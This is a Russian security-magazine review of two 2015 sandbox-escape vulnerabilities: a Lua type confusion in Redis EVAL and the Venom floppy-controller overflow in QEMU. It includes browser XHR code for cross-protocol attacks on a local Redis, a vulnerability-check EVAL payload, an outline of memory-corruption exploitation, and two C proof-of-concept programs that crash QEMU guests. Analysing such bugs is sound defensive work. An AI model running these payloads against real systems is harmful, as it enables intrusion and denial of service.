Содержание статьи
Наш сегодняшний обзор будет посвящен уязвимостям, которые позволяют совершить побег из разнообразных песочниц. Одна из них затронула такую популярную виртуальную машину, как QEMU. В ходе ее эксплуатации можно выполнить произвольный код, который затронет хостовую машину. Другая же основана на встраиваемом языке Lua — она позволяет не просто выполнять код, но и читать память.
Выполнение кода в Redis через EVAL
CVSSv2
N/A
BRIEF
Дата релиза: 4 июня 2015 года
Автор: Ben Murphy
CVE: 2015-4335
Xakep #198. Случайностей не бывает
Уязвимость в нереляционной высокопроизводительной базе данных Redis позволяет выйти из Lua-песочницы и выполнить произвольный код. Сама уязвимость не нова и основана на работе Питера Коли с байт-кодом Lua — type confusion.
Особой угрозы в этой уязвимости нет, так как в соответствии с моделью безопасности Redis только доверенные пользователи могут подключаться к БД. Поэтому основные цели атак — это системы разработчиков, добраться до них можно с помощью SSRF-атак или благодаря облакам.
Машины разработчиков, использующих Redis, могут быть уязвимы из-за того, что Redis биндится на все интерфейсы, которые в свою очередь ждут получения инструкций. Такое поведение прописано в настройках по умолчанию.
Также разработчики могут быть уязвимы, если есть биндинг на 127.0.0.1. Один из примеров атаки на Redis через HTTP расписан исследователем Николасом Грегори. В его отчете рассказано об атаке на сервер Facebook, работающий на Redis, через уязвимость SSRF.
Так как Redis — это HTTP-сервер, у него есть схожие политики безопасности для браузеров, которые могут позволить любому сайту отправить к нему запрос POST. Для получения полного контроля нам нужно использовать XHR. Для примера напишем в консоли браузера при запущенном Wireshark такие команды:
var x = new XMLHttpRequest();
x.open("POST", "http://127.0.0.1:6379");
x.send('eval "print(\\"hello\\")" 0\r\n');
В Wireshark мы увидим следующее:
POST / HTTP/1.1
Host: 127.0.0.1:6379
Connection: keep-alive
Content-Length: 27
Pragma: no-cache
Cache-Control: no-cache
Origin: http://www.agarri.fr
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Accept: */*
Referer: http://www.agarri.fr/kom/archives/2014/09/11/trying_to_hack_redis_via_http_requests/index.html
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8
eval "print(\"hello\")" 0
-ERR unknown command 'POST'
-ERR unknown command 'Host:'
-ERR unknown command 'Connection:'
-ERR unknown command 'Content-Length:'
-ERR unknown command 'Pragma:'
-ERR unknown command 'Cache-Control:'
-ERR unknown command 'Origin:'
-ERR unknown command 'User-Agent:'
-ERR unknown command 'Content-Type:'
-ERR unknown command 'Accept:'
-ERR unknown command 'Referer:'
-ERR unknown command 'Accept-Encoding:'
-ERR unknown command 'Accept-Language:'
$-1
В потоке stdout Redis будет следующее:
hello
Правда, из-за таких политик атакующий не сможет прочесть ответ. Это можно попытаться обойти, если воспользоваться атакой DNS rebinding. Но даже с DNS rebinding не всегда можно читать ответ из-за неправильного HTTP-формата.
Однако читать ответ нам и не требуется, так как мы можем упаковать большой эксплоит, который проверит результат команды redis.call("INFO")
и запустит специфическую полезную нагрузку под определенную ОС и архитектуру.
EXPLOIT
В качестве эксплоита мы можем выполнять любые команды. Следующая команда, к примеру, позволяет проверить, уязвим ли сервер:
eval "return tostring(loadstring(string.dump(function() end)))" 0
Если уязвим, будет выведено
"function: 0x7fdcd8439df0"
Если же нет, то
"nil"
Питер Коли в своем исследовании байт-кода Lua описал три очень полезных примера эксплуатации.
Первый путь — чтение значения (Value), которое хранится в структуре TValue. Это позволяет прочитать указатель из значения LUA. Некоторые значения указателя сами по себе публичны (используется tostring), но не всегда виден способ получения значения указателя для строки LUA. Второй — чтение 8 байт из произвольного адреса памяти. Третий — запись 8 байт в произвольный адрес памяти.
Использование чтения произвольной памяти делает возможным утечку адреса стандартных С-функций. Зная адрес C-функции, можно найти базовый адрес бинарника Redis-сервера. После этого можно обнаружить указатели на libc/libsystem
и найти базовые адреса для этих библиотек. Далее из этих библиотек можно получить адреса полезных экспортируемых функций (longjump/system
) и ROP-гаджеты. Такая техника схожа с dynelf из pwntools.
Чтение произвольной памяти точно так же позволяет узнать адреса внутри стека. Объект lua_State
хранит переменную long_jump
. Она указывает на буфер long_jump
, который размещен на стеке. Такая утечка адресов стека может быть полезна, если мы хотим повредить стек или RSP-регистр и переписать rip в буфере longjump
, взяв его под контроль, когда longjump
будет вызван.
В качестве примера советую посмотреть «полезный» эксплоит, патчащий Redis, от автора уязвимости. Ссылку на него ты можешь найти в соответствующем блоке.
TARGETS
Redis < 2.8.21;
Redis < 3.0.2
(поддержка Lua была добавлена в 2.6.0).
SOLUTION
- Есть исправление от производителя;
- рекомендуется поставить более защищенный пароль на Redis и переименовать команду
EVAL
; - патч от автора уязвимости.
Venom: побег из виртуалок
CVSSv2
7.7 (Av:An/Ac:L/A:Si/C:C/I:C/A:C)
BRIEF
Дата релиза: 15 мая 2015 года
Автор: Jason Geffner
CVE: 2015-3456
В мае исследователь Джейсон Гефнер (Jason Geffner) из команды CrowdStrike обнаружил уязвимость в виртуальном контроллере флоппи-диска — FDC (Floppy Disk Controller) для популярного эмулятора QEMU. В ходе его эксплуатации произвольный код из виртуальной машины можно выполнить на основной (хостовой) системе. Это еще называют побегом из ВМ (VM escape). Эту тему мы уже не раз обсуждали на страницах Х.
Так как QEMU — это часть инфраструктуры большого количества компаний, то исследователю пришлось ждать официального патча для составления описания уязвимости и ее публикации. Поэтому весь код в обзоре будет взят из коммита последней версии FDC в QEMU до публичного патча, вышедшего тринадцатого мая. Из-за большой опасности этой уязвимости было дано собственное имя — Venom, что означает яд.
FDC использует 512-байтовый буфер (FIFO) для хранения данных:
struct FDCtrl {
...
/* FIFO */
uint8_t *fifo;
int32_t fifo_size;
uint32_t data_pos;
uint32_t data_len;
...
};
...
fdctrl->fifo = qemu_memalign(512, FD_SECTOR_LEN);
fdctrl->fifo_size = 512;
Поля data_pos
и data_len
инициируются в 0 после сброса FDC.
Код в гостевой ВМ может писать в буфер FIFO, отправляя данные в FDC с помощью I/O-порта FD_REG_FIFO
. В свою очередь, процесс записи обрабатывается функцией, описанной ниже. Каждый отправленный в порт I/O байт проходит через эту функцию как значение параметра.
static void fdctrl_write_data(FDCtrl *fdctrl, uint32_t value)
{
FDrive *cur_drv;
int pos;
...
if (fdctrl->data_pos == 0) {
/* Команда */
pos = command_to_handler[value & 0xff];
FLOPPY_DPRINTF("%s command\n", handlers[pos].name);
fdctrl->data_len = handlers[pos].parameters + 1;
fdctrl->msr |= FD_MSR_CMDBUSY;
}
FLOPPY_DPRINTF("%s: %02x\n", __func__, value);
fdctrl->fifo[fdctrl->data_pos++] = value;
if (fdctrl->data_pos == fdctrl->data_len) {
/* У нас есть все параметры,
* и мы можем обратиться к команде
*/
if (fdctrl->data_state & FD_STATE_FORMAT) {
fdctrl_format_sector(fdctrl);
return;
}
pos = command_to_handler[fdctrl->fifo[0] & 0xff];
FLOPPY_DPRINTF("treat %s command\n", handlers[pos].name);
(*handlers[pos].handler)(fdctrl, handlers[pos].direction);
}
}
Функция, описанная выше, использует первый полученный из I/O байт как ID команды, где каждый ID соответствует следующему обработчику.
static const struct {
uint8_t value;
uint8_t mask;
const char* name;
int parameters;
void (*handler)(FDCtrl *fdctrl, int direction);
int direction;
} handlers[] = {
{ FD_CMD_READ, 0x1f, "READ", 8, fdctrl_start_transfer, FD_DIR_READ },
{ FD_CMD_WRITE, 0x3f, "WRITE", 8, fdctrl_start_transfer, FD_DIR_WRITE },
{ FD_CMD_SEEK, 0xff, "SEEK", 2, fdctrl_handle_seek },
...
};
У каждого обработчика имеется ассоциированный параметр-счетчик (хранится в параметрах). I/O-байты, записываемые в буфер FIFO после байта ID команды, рассматриваются как параметры для обработчика команды. Когда fdctrl_write_data()
определяет, что все параметры были доставлены (сравнив увеличивающийся параметр data_pos
с data_len
), вызывается функция обработки команд для управления данными в FIFO-буфере.
FDС поддерживает 32 различные FIFO-команды, включая стандартный обработчик для неопределенных значений ID команды. Код для каждой функции обработчика команды сбрасывает FDC-переменную data_pos
до 0 в конце обработки, гарантируя, что буфер FIFO не может быть переполнен. Ниже приведен пример, где функция-обработчик fdctrl_handle_partid()
вызывает fdctrl_set_fifo()
, которая сбрасывает data_pos
до 0:
{ FD_CMD_PART_ID, 0xff, "PART ID", 0, fdctrl_handle_partid },
Функция fdctrl_handle_partid()
:
static void fdctrl_handle_partid(FDCtrl *fdctrl, int direction)
{
fdctrl->fifo[0] = 0x41; /* Шаг 1 */
fdctrl_set_fifo(fdctrl, 1);
}
Функция fdctrl_set_fifo()
:
static void fdctrl_set_fifo(FDCtrl *fdctrl, int fifo_len)
{
fdctrl->data_dir = FD_DIR_READ;
fdctrl->data_len = fifo_len;
fdctrl->data_pos = 0;
fdctrl->msr |= FD_MSR_CMDBUSY | FD_MSR_RQM | FD_MSR_DIO;
}
Для тридцати функций — обработчиков команд переменная data_pos
сбрасывается до 0 сразу после завершения обработки, так же как в приведенном выше примере. Тем не менее для двух из них такой сброс задерживается или может быть «перехитрен».
Код ниже показывает обработчик для команды READ ID
:
{ FD_CMD_READ_ID, 0xbf, "READ ID", 1, fdctrl_handle_readid },
Функция fdctrl_handle_readid
:
static void fdctrl_handle_readid(FDCtrl *fdctrl, int direction)
{
FDrive *cur_drv = get_cur_drv(fdctrl);
cur_drv->head = (fdctrl->fifo[1] >> 2) & 1;
timer_mod(fdctrl->result_timer, qemu_clock_get_ns(QEMU_CLOCK_VIRTUAL) + (get_ticks_per_sec() / 50));
}
Эта функция устанавливает таймер на 20 мс (result_timer
инициализируется как указатель на функцию fdctrl_result_timer()
во время установки начальных значений FDC). После 20 мс выполняется fdctrl_result_timer()
, которая вызывает fdctrl_stop_transfer()
, а та, в свою очередь, вызывает fdctrl_set_fifo()
. Последняя функция сбрасывает data_pos
до 0. В течение этого временного промежутка в 20 мс код в гостевой ВМ может продолжать писать в FIFO-буфер, а fdctrl_write_data()
будет продолжать увеличивать data_pos
для каждого полученного I/O-байта. Вследствие этого код в ВМ может переполнить FIFO-буфер произвольными данными.
Ниже представлен код для обработки команды DRIVE SPECIFICATION COMMAND
:
{ FD_CMD_DRIVE_SPECIFICATION_COMMAND, 0xff, "DRIVE SPECIFICATION COMMAND", 5, fdctrl_handle_drive_specification_command },
Функция fdctrl_handle_drive_specification_command()
:
static void fdctrl_handle_drive_specification_command(FDCtrl *fdctrl, int direction)
{
FDrive *cur_drv = get_cur_drv(fdctrl);
if (fdctrl->fifo[fdctrl->data_pos - 1] & 0x80) {
/* Command parameters done */
if (fdctrl->fifo[fdctrl->data_pos - 1] & 0x40) {
fdctrl->fifo[0] = fdctrl->fifo[1];
fdctrl->fifo[2] = 0;
fdctrl->fifo[3] = 0;
fdctrl_set_fifo(fdctrl, 4);
} else {
fdctrl_reset_fifo(fdctrl);
}
} else if (fdctrl->data_len > 7) {
/* ERROR */
fdctrl->fifo[0] = 0x80 | (cur_drv->head << 2) | GET_CUR_DRV(fdctrl);
fdctrl_set_fifo(fdctrl, 1);
}
}
Эта функция вызывается после того, как FDC получит команду FD_CMD_DRIVE_SPECIFICATION_COMMAND
и ее 5 байт параметров. IF-условие в этом обработчике будет оцениваться ложным (false), если пятый параметр не будет иметь наиболее значащий бит (most-significant-bit, MSB). А else-if ветвь будет всегда ложной, если установить fdctrl->data_len
равной 6 с помощью функции fdctrl_write_data()
для команды FD_CMD_DRIVE_SPECIFICATION_COMMAND
. Таким образом, после отправки команды FD_CMD_DRIVE_SPECIFICATION_COMMAND
и 5 байт (пятый параметр будет равен 0), код внутри гостевой ВМ сможет продолжать записывать в FIFO-буфер и fdctrl_write_data()
будет продолжать увеличивать data_pos
для каждого полученного I/O-байта. В результате код в ВМ может переполнить FIFO-буфер произвольными данными.
EXPLOIT
В Сети встречаются несколько PoC, которые вызывают DoS виртуальной машины.
Первый. Из security-рассылки:
#include <sys/io.h>
#define FIFO 0x3f5
int main()
{
int i;
iopl(3);
outb(0x0a,0x3f5); /* READ ID */
for (i=0;i<10000000;i++)
outb(0x42,0x3f5); /* push */
}
Второй. От азиатских коллег:
#include <sys/io.h>
int main()
{
int i ;
iopl(3);
outb(0x8e, 0x3f5);
outb(0x41, 0x3f5);
outb(0x41, 0x3f5);
outb(0x41, 0x3f5);
outb(0x41, 0x3f5);
outb(0x41, 0x3f5);
for(i = 0 ; i < 100000 ; i++)
{
outb(0x42, 0x3f5);
}
return 0 ;
}
Разбор этой уязвимости можно найти на одном из китайских форумов. Этой же уязвимости посвящена и специальная страница команды CrowdStrike с информацией о том, чем это может грозить, и видео от ребят из rapid7.
TARGETS
QEMU до 13.05.2015.
Код виртуального контроллера флоппи-диска используется в многочисленных платформах виртуализации, в том числе в Xen и KVM.
SOLUTION
Есть исправление от производителя.